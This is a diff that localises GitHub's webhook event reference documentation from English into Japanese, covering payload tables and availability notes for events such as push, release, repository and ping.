-The webhook this event is configured on was deleted. This event will only listen for changes to the particular hook the event is installed on. Therefore, it must be selected for each hook that you'd like to receive meta events for.
+このイベントが設定されている webhook が削除されました。 このイベントは、イベントがインストールされている特定のフックへの変更のみをリッスンします。 したがって、メタイベントを受信するフックごとに選択する必要があります。
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
+- リポジトリ webhook
+- Organization webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action performed. Can be `deleted`.
-`hook_id`  |`integer` | The id of the modified webhook.
-`hook` |`object` | The modified webhook. This will contain different keys based on the type of webhook it is: repository, organization, business, app, or GitHub Marketplace.
+| キー        | 種類        | 説明                                                                                                           |
+| --------- | --------- | ------------------------------------------------------------------------------------------------------------ |
+| `action`  | `string`  | 実行されたアクション。 `deleted` を指定可。                                                                                  |
+| `hook_id` | `integer` | 変更された webhook の ID。                                                                                          |
+| `フック`     | `オブジェクト`  | 変更された webhook。 これには、webhook のタイプ (リポジトリ、Organization、ビジネス、アプリケーション、または GitHub Marketplace) に基づいて異なるキーが含まれます。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.meta.deleted }}
 
-## milestone
+## マイルストーン
 
 {% data reusables.webhooks.milestone_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- リポジトリ webhook
+- Organization webhook
+- `pull_requests` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.milestone_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -725,33 +726,33 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.milestone.created }}
 
-## organization
+## Organization
 
 {% data reusables.webhooks.organization_short_desc %}
 
-### Availability
+### 利用の可否
 
 {% ifversion ghes or ghae %}
-- GitHub Enterprise webhooks only receive `created` and `deleted` events. For more information, "[Global webhooks](/rest/reference/enterprise-admin#global-webhooks/).{% endif %}
-- Organization webhooks only receive the `deleted`, `added`, `removed`, `renamed`, and `invited` events
-- {% data variables.product.prodname_github_apps %} with the `members` permission
+- GitHub Enterprise webhook は、`created` および `deleted` イベントのみを受信します。 詳しい情報については「[グローバル webhook](/rest/reference/enterprise-admin#global-webhooks/)」を参照してください。{% endif %}
+- Organization webhook は、`deleted`、`added`、`removed`、`renamed`、`invited` イベントのみを受信します
+- `members` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. Can be one of:{% ifversion ghes or ghae %} `created`,{% endif %} `deleted`, `renamed`, `member_added`, `member_removed`, or `member_invited`.
-`invitation` |`object` | The invitation for the user or email if the action is `member_invited`.
-`membership`  |`object` | The membership between the user and the organization.  Not present when the action is `member_invited`.
+| キー           | 種類       | 説明                                                                                                                                             |
+| ------------ | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------- |
+| `action`     | `string` | 実行されたアクション. {% ifversion ghes or ghae %} `created`、{% endif %} `deleted`、`renamed`、`member_added`、`member_removed`、`member_invited` のいずれかを指定可。 |
+| `招待`         | `オブジェクト` | アクションが `member_invited` の場合、ユーザへの招待またはメール。                                                                                                     |
+| `membership` | `オブジェクト` | ユーザと Organization 間のメンバーシップ。  アクションが `member_invited` の場合は存在しません。                                                                              |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.organization.member_added }}
 
@@ -761,22 +762,22 @@ Key | Type | Description
 
 {% data reusables.webhooks.org_block_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `organization_administration` permission
+- Organization webhook
+- `organization_administration` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|------------
-`action` | `string` | The action performed. Can be `blocked` or `unblocked`.
-`blocked_user` | `object` | Information about the user that was blocked or unblocked.
+| キー             | 種類       | 説明                                           |
+| -------------- | -------- | -------------------------------------------- |
+| `action`       | `string` | 実行されたアクション。 `blocked`、`unblocked` のいずれかを指定可。 |
+| `blocked_user` | `オブジェクト` | ブロックまたはブロック解除されたユーザに関する情報。                   |
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.org_block.blocked }}
 
@@ -786,21 +787,21 @@ Key | Type | Description
 
 ## package
 
-Activity related to {% data variables.product.prodname_registry %}. {% data reusables.webhooks.action_type_desc %} For more information, see "[Managing packages with {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)" to learn more about {% data variables.product.prodname_registry %}.
+{% data variables.product.prodname_registry %} に関連するアクティビティ。 {% data reusables.webhooks.action_type_desc %} {% data variables.product.prodname_registry %} の詳細については、「[{% data variables.product.prodname_registry %} を使用してパッケージを管理する](/github/managing-packages-with-github-packages)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
+- リポジトリ webhook
+- Organization webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.package_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.package.published }}
 {% endif %}
@@ -809,24 +810,24 @@ Activity related to {% data variables.product.prodname_registry %}. {% data reus
 
 {% data reusables.webhooks.page_build_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pages` permission
+- リポジトリ webhook
+- Organization webhook
+- `pages` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|------------
-`id` | `integer` | The unique identifier of the page build.
-`build` | `object` | The [List GitHub Pages builds](/rest/reference/pages#list-github-pages-builds) itself.
+| キー    | 種類        | 説明                                                                         |
+| ----- | --------- | -------------------------------------------------------------------------- |
+| `id`  | `integer` | ページビルドの一意の識別子。                                                             |
+| `ビルド` | `オブジェクト`  | [GitHub Pages ビルドのリスト](/rest/reference/pages#list-github-pages-builds) 自体。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.page_build }}
 
@@ -834,25 +835,25 @@ Key | Type | Description
 
 {% data reusables.webhooks.ping_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} receive a ping event with an `app_id` used to register the app
+- リポジトリ webhook
+- Organization webhook
+- {% data variables.product.prodname_github_apps %} は、アプリの登録に使用される `app_id` を使用して ping イベントを受信します
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|------------
-`zen` | `string` | Random string of GitHub zen.
-`hook_id` | `integer` | The ID of the webhook that triggered the ping.
-`hook` | `object` | The [webhook configuration](/rest/reference/webhooks#get-a-repository-webhook).
-`hook[app_id]` | `integer` | When you register a new {% data variables.product.prodname_github_app %}, {% data variables.product.product_name %} sends a ping event to the **webhook URL** you specified during registration. The event contains the `app_id`, which is required for [authenticating](/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/) an app.
+| キー             | 種類        | 説明                                                                                                                                                                                                                                                                                                                 |
+| -------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `zen`          | `string`  | GitHub zen のランダムな文字列。                                                                                                                                                                                                                                                                                              |
+| `hook_id`      | `integer` | ping をトリガーした webhook の ID。                                                                                                                                                                                                                                                                                         |
+| `フック`          | `オブジェクト`  | [webhook 設定](/rest/reference/webhooks#get-a-repository-webhook)。                                                                                                                                                                                                                                                   |
+| `hook[app_id]` | `integer` | 新しい {% data variables.product.prodname_github_app %} を登録すると、{% data variables.product.product_name %} は登録時に指定した **webhook URL** に ping イベントを送信します。 イベントには、アプリケーションの[認証](/apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps/)に必要な `app_id` が含まれています。 |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.ping }}
 
@@ -860,13 +861,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_card_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- リポジトリ webhook
+- Organization webhook
+- `repository_projects` または `organization_projects` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.project_card_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -874,7 +875,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.project_card.created }}
 
@@ -882,13 +883,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_column_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- リポジトリ webhook
+- Organization webhook
+- `repository_projects` または `organization_projects` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.project_column_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -896,7 +897,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.project_column.created }}
 
@@ -904,13 +905,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.project_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `repository_projects` or `organization_projects` permission
+- リポジトリ webhook
+- Organization webhook
+- `repository_projects` または `organization_projects` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.project_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -918,7 +919,7 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.project.created }}
 
@@ -926,22 +927,23 @@ Key | Type | Description
 ## public
 
 {% data reusables.webhooks.public_short_desc %}
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission
+- リポジトリ webhook
+- Organization webhook
+- `metadata` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
+| キー | 種類 | 説明 |
+| -- | -- | -- |
+|    |    |    |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.public }}
 {% endif %}
@@ -949,13 +951,13 @@ Key | Type | Description
 
 {% data reusables.webhooks.pull_request_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- リポジトリ webhook
+- Organization webhook
+- `pull_requests` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.pull_request_webhook_properties %}
 {% data reusables.webhooks.pull_request_properties %}
@@ -964,9 +966,9 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
-Deliveries for `review_requested` and `review_request_removed` events will have an additional field called `requested_reviewer`.
+`review_requested` イベントと `review_request_removed` イベントのデリバリには、`requested_reviewer` という追加のフィールドがあります。
 
 {{ webhookPayloadsForCurrentVersion.pull_request.opened }}
 
@@ -974,13 +976,13 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 
 {% data reusables.webhooks.pull_request_review_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- リポジトリ webhook
+- Organization webhook
+- `pull_requests` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.pull_request_review_properties %}
 {% data reusables.webhooks.repo_desc %}
@@ -988,7 +990,7 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.pull_request_review.submitted }}
 
@@ -996,13 +998,13 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 
 {% data reusables.webhooks.pull_request_review_comment_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `pull_requests` permission
+- リポジトリ webhook
+- Organization webhook
+- `pull_requests` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.pull_request_review_comment_webhook_properties %}
 {% data reusables.webhooks.pull_request_review_comment_properties %}
@@ -1011,71 +1013,71 @@ Deliveries for `review_requested` and `review_request_removed` events will have
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.pull_request_review_comment.created }}
 
-## push
+## プッシュ
 
 {% data reusables.webhooks.push_short_desc %}
 
 {% note %}
 
-**Note:** You will not receive a webhook for this event when you push more than three tags at once.
+**注釈:** 一度に 3 つ以上のタグをプッシュすると、このイベントの webhook を受信しません。
 
 {% endnote %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`ref`|`string` | The full [`git ref`](/rest/reference/git#refs) that was pushed. Example: `refs/heads/main` or `refs/tags/v3.14.1`.
-`before`|`string` | The SHA of the most recent commit on `ref` before the push.
-`after`|`string` | The SHA of the most recent commit on `ref` after the push.
-`created`|`boolean` | Whether this push created the `ref`.
-`deleted`|`boolean` | Whether this push deleted the `ref`.
-`forced`|`boolean` | Whether this push was a force push of the `ref`.
-`head_commit`|`object` | For pushes where `after` is or points to a commit object, an expanded representation of that commit. For pushes where `after` refers to an annotated tag object,  an expanded representation of the commit pointed to by the annotated tag.
-`compare`|`string` | URL that shows the changes in this `ref` update, from the `before` commit to the `after` commit. For a newly created `ref` that is directly based on the default branch, this is the comparison between the head of the default branch and the `after` commit. Otherwise, this shows all commits until the `after` commit.
-`commits`|`array` | An array of commit objects describing the pushed commits. (Pushed commits are all commits that are included in the `compare` between the `before` commit and the `after` commit.) The array includes a maximum of 20 commits. If necessary, you can use the [Commits API](/rest/reference/repos#commits) to fetch additional commits. This limit is applied to timeline events only and isn't applied to webhook deliveries.
-`commits[][id]`|`string` | The SHA of the commit.
-`commits[][timestamp]`|`string` | The ISO 8601 timestamp of the commit.
-`commits[][message]`|`string` | The commit message.
-`commits[][author]`|`object` | The git author of the commit.
-`commits[][author][name]`|`string` | The git author's name.
-`commits[][author][email]`|`string` | The git author's email address.
-`commits[][url]`|`url` | URL that points to the commit API resource.
-`commits[][distinct]`|`boolean` | Whether this commit is distinct from any that have been pushed before.
-`commits[][added]`|`array` | An array of files added in the commit.
-`commits[][modified]`|`array` | An array of files modified by the commit.
-`commits[][removed]`|`array` | An array of files removed in the commit.
-`pusher` | `object` | The user who pushed the commits.
+| キー                         | 種類        | 説明                                                                                                                                                                                                                                         |
+| -------------------------- | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `ref`                      | `string`  | プッシュされた完全な[`git ref`](/rest/reference/git#refs)。 例: `refs/heads/main`または`refs/tags/v3.14.1`。                                                                                                                                               |
+| `before`                   | `string`  | プッシュ前の`ref` 上の最新のコミットのSHA。                                                                                                                                                                                                                 |
+| `after`                    | `string`  | プッシュ後の`ref`上の最新のコミットのSHA。                                                                                                                                                                                                                  |
+| `created`                  | `boolean` | プッシュが`ref`を作成したかどうか。                                                                                                                                                                                                                       |
+| `deleted`                  | `boolean` | プッシュが`ref`を削除したかどうか。                                                                                                                                                                                                                       |
+| `forced`                   | `boolean` | プッシュが `ref`のフォースプッシュであったかどうか。                                                                                                                                                                                                              |
+| `head_commit`              | `オブジェクト`  | `after`がコミットオブジェクトであるか、コミットオブジェクトを指している場合、そのコミットの拡張表現。 `after`がアノテーションされたタグオブジェクトを指すプッシュの場合、そのアノテーションされたタグが指すコミットの拡張表現。                                                                                                                    |
+| `compare`                  | `string`  | `before`コミットから`after`コミットまで、この`ref`更新にある変更を示すURL。 デフォルトブランチに直接基づいて新規作成された`ref`の場合、デフォルトブランチのheadと`after`コミットとの比較。 それ以外の場合は、`after`コミットまでのすべてのコミットを示す。                                                                                      |
+| `commits`                  | `array`   | プッシュされたコミットを示すコミットオブジェクトの配列。 (プッシュされたコミットは、`before`コミットと`after`コミットの間で`compare`されたものに含まれる全てのコミット。) 配列には最大で20のコミットが含まれる。 必要な場合は、追加のコミットを[Commits API](/rest/reference/repos#commits)を使ってフェッチできる。 この制限はタイムラインイベントにのみ適用され、webhookの配信には適用されない。 |
+| `commits[][id]`            | `string`  | コミットのSHA。                                                                                                                                                                                                                                  |
+| `commits[][timestamp]`     | `string`  | コミットの ISO 8601 タイムスタンプ。                                                                                                                                                                                                                    |
+| `commits[][message]`       | `string`  | コミットメッセージ。                                                                                                                                                                                                                                 |
+| `commits[][author]`        | `オブジェクト`  | コミットのGit作者。                                                                                                                                                                                                                                |
+| `commits[][author][name]`  | `string`  | Git作者の名前。                                                                                                                                                                                                                                  |
+| `commits[][author][email]` | `string`  | Git作者のメールアドレス。                                                                                                                                                                                                                             |
+| `commits[][url]`           | `url`     | コミットAPIのリソースを指すURL。                                                                                                                                                                                                                        |
+| `commits[][distinct]`      | `boolean` | このコミットが以前にプッシュされたいずれとも異なっているか。                                                                                                                                                                                                             |
+| `commits[][added]`         | `array`   | コミットに追加されたファイルの配列。                                                                                                                                                                                                                         |
+| `commits[][modified]`      | `array`   | コミットによって変更されたファイルの配列。                                                                                                                                                                                                                      |
+| `commits[][removed]`       | `array`   | コミットから削除されたファイルの配列。                                                                                                                                                                                                                        |
+| `pusher`                   | `オブジェクト`  | コミットをプッシュしたユーザ。                                                                                                                                                                                                                            |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.push }}
 
-## release
+## リリース
 
 {% data reusables.webhooks.release_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `contents` permission
+- リポジトリ webhook
+- Organization webhook
+- `contents` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.release_webhook_properties %}
 {% data reusables.webhooks.release_properties %}
@@ -1084,66 +1086,66 @@ Key | Type | Description
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.release.published }}
 
 {% ifversion fpt or ghes or ghae or ghec %}
 ## repository_dispatch
 
-This event occurs when a {% data variables.product.prodname_github_app %} sends a `POST` request to the "[Create a repository dispatch event](/rest/reference/repos#create-a-repository-dispatch-event)" endpoint.
+このイベントは、{% data variables.product.prodname_github_app %} が「[リポジトリディスパッチイベントの作成](/rest/reference/repos#create-a-repository-dispatch-event)」エンドポイントに `POST` リクエストを送信したときに発生します。
 
-### Availability
+### 利用の可否
 
-- {% data variables.product.prodname_github_apps %} must have the `contents` permission to receive this webhook.
+- この webhook を受信するには、{% data variables.product.prodname_github_apps %} に `contents` 権限が必要です。
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.repository_dispatch }}
 {% endif %}
 
-## repository
+## リポジトリ
 
 {% data reusables.webhooks.repository_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks receive all event types except `deleted`
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `metadata` permission receive all event types except `deleted`
+- リポジトリ webhook は、`deleted` を除くすべてのイベントタイプを受け取ります
+- Organization webhook
+- `metadata` 権限のある {% data variables.product.prodname_github_apps %} は、`deleted` を除くすべてのイベントタイプを受信します
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. This can be one of:<ul><li>`created` - A repository is created.</li><li>`deleted` - A repository is deleted.</li><li>`archived` - A repository is archived.</li><li>`unarchived` - A repository is unarchived.</li>{% ifversion ghes or ghae %}<li>`anonymous_access_enabled` - A repository is [enabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories), `anonymous_access_disabled` - A repository is [disabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories)</li>{% endif %}<li>`edited` - A repository's information is edited.</li><li>`renamed` - A repository is renamed.</li><li>`transferred` - A repository is transferred.</li><li>`publicized` - A repository is made public.</li><li> `privatized` - A repository is made private.</li></ul>
+| キー       | 種類       | 説明                                                   |
+| -------- | -------- | ---------------------------------------------------- |
+| `action` | `string` | 実行されたアクション. これは次のいずれかになります。<ul><li>「created」- リポジトリが作成されます。</li><li>「deleted」- リポジトリが削除されます。</li><li>「archived」- リポジトリがアーカイブされます。</li><li>「unarchived」- リポジトリがアーカイブ解除されます。</li>{% ifversion ghes or ghae %}<li>「anonymous_access_enabled」- リポジトリは [enabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories)、「anonymous_access_disabled」 - リポジトリは [disabled for anonymous Git access](/rest/overview/api-previews#anonymous-git-access-to-repositories)</li>{% endif %}<li>「edited」- リポジトリの情報が編集されます。</li><li>「renamed」- リポジトリの名前が変更されます。</li><li>「transferred」- リポジトリが転送されます。</li><li>「publicized」- リポジトリが公開されます。</li><li> 「privatized」- リポジトリが非公開になります。</li></ul> |
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.repository.publicized }}
 
 {% ifversion fpt or ghec %}
 ## repository_import
 
-{% data reusables.webhooks.repository_import_short_desc %} To receive this event for a personal repository, you must create an empty repository prior to the import. This event can be triggered using either the [GitHub Importer](/articles/importing-a-repository-with-github-importer/) or the [Source imports API](/rest/reference/migrations#source-imports).
+{% data reusables.webhooks.repository_import_short_desc %} 個人リポジトリでこのイベントを受信するには、インポートする前に空のリポジトリを作成する必要があります。 このイベントは、[GitHub Importer](/articles/importing-a-repository-with-github-importer/) または[Source imports API](/rest/reference/migrations#source-imports) のいずれかを使用してトリガーできます。
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
+- リポジトリ webhook
+- Organization webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.repository_import_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.repository_import }}
 
@@ -1151,19 +1153,19 @@ Key | Type | Description
 
 {% data reusables.webhooks.repository_vulnerability_alert_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
+- リポジトリ webhook
+- Organization webhook
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.repository_vulnerability_alert_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.sender_desc %}
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.repository_vulnerability_alert.create }}
 
@@ -1175,21 +1177,21 @@ Key | Type | Description
 
 {% data reusables.webhooks.secret_scanning_alert_event_short_desc %}
 
-### Availability
+### 利用の可否
 
-- Repository webhooks
-- Organization webhooks
-- {% data variables.product.prodname_github_apps %} with the `secret_scanning_alerts:read` permission
+- リポジトリ webhook
+- Organization webhook
+- `secret_scanning_alerts:read` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.secret_scanning_alert_event_properties %}
 {% data reusables.webhooks.repo_desc %}
 {% data reusables.webhooks.org_desc %}
 {% data reusables.webhooks.app_desc %}
-`sender` | `object` | If the `action` is `resolved` or `reopened`, the `sender` object will be the user that triggered the event. The `sender` object is empty for all other actions.
+`sender` | `object` | `action` が `resolved` または `reopened` の場合、`sender` オブジェクトは、イベントをトリガーしたユーザになります。 `sender` オブジェクトは、他のすべてのアクションでは空になっています。
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.secret_scanning_alert.reopened }}
 {% endif %}
@@ -1197,130 +1199,130 @@ Key | Type | Description
 {% ifversion fpt or ghes or ghec %}
 ## security_advisory
 
-Activity related to a security advisory that has been reviewed by {% data variables.product.company_short %}. A {% data variables.product.company_short %}-reviewed security advisory provides information about security-related vulnerabilities in software on {% data variables.product.prodname_dotcom %}. 
+Activity related to a security advisory that has been reviewed by {% data variables.product.company_short %}. A {% data variables.product.company_short %}-reviewed security advisory provides information about security-related vulnerabilities in software on {% data variables.product.prodname_dotcom %}.
 
-The security advisory dataset also powers the GitHub {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)."
+The security advisory dataset also powers the GitHub {% data variables.product.prodname_dependabot_alerts %}. 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies/)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- {% data variables.product.prodname_github_apps %} with the `security_events` permission
+- `security_events` 権限のある {% data variables.product.prodname_github_apps %}
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
-Key | Type | Description
-----|------|-------------
-`action` |`string` | The action that was performed. The action can be one of `published`, `updated`, `performed`, or `withdrawn` for all new events.
-`security_advisory` |`object` | The details of the security advisory, including summary, description, and severity.
+| キー                  | 種類       | 説明                                                                                        |
+| ------------------- | -------- | ----------------------------------------------------------------------------------------- |
+| `action`            | `string` | 実行されたアクション. アクションは、すべての新しいイベントに対して`published`、`updated`、`performed`、`withdrawn`のいずれかを指定可。 |
+| `security_advisory` | `オブジェクト` | 概要、説明、重要度などの、セキュリティアドバイザリの詳細。                                                             |
 
-### Webhook payload example
+### webhook ペイロードの例
 
 {{ webhookPayloadsForCurrentVersion.security_advisory.published }}
 
 {% endif %}
 
 {% ifversion fpt or ghec %}
-## sponsorship
+## スポンサーシップ
 
 {% data reusables.webhooks.sponsorship_short_desc %}
 
-You can only create a sponsorship webhook on {% data variables.product.prodname_dotcom %}. For more information, see "[Configuring webhooks for events in your sponsored account](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)".
+スポンサーシップ webhook は、{% data variables.product.prodname_dotcom %} でのみ作成できます。 詳しい情報については、「[スポンサー付きアカウントのイベントの webhook を設定する](/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account)」を参照してください。
 
-### Availability
+### 利用の可否
 
-- Sponsored accounts
+- スポンサー付きアカウント
 
-### Webhook payload object
+### webhook ペイロードオブジェクト
 
 {% data reusables.webhooks.sponsorship_webhook_properties %}
 {% data reusables.webhooks.sponsorship_properties %}
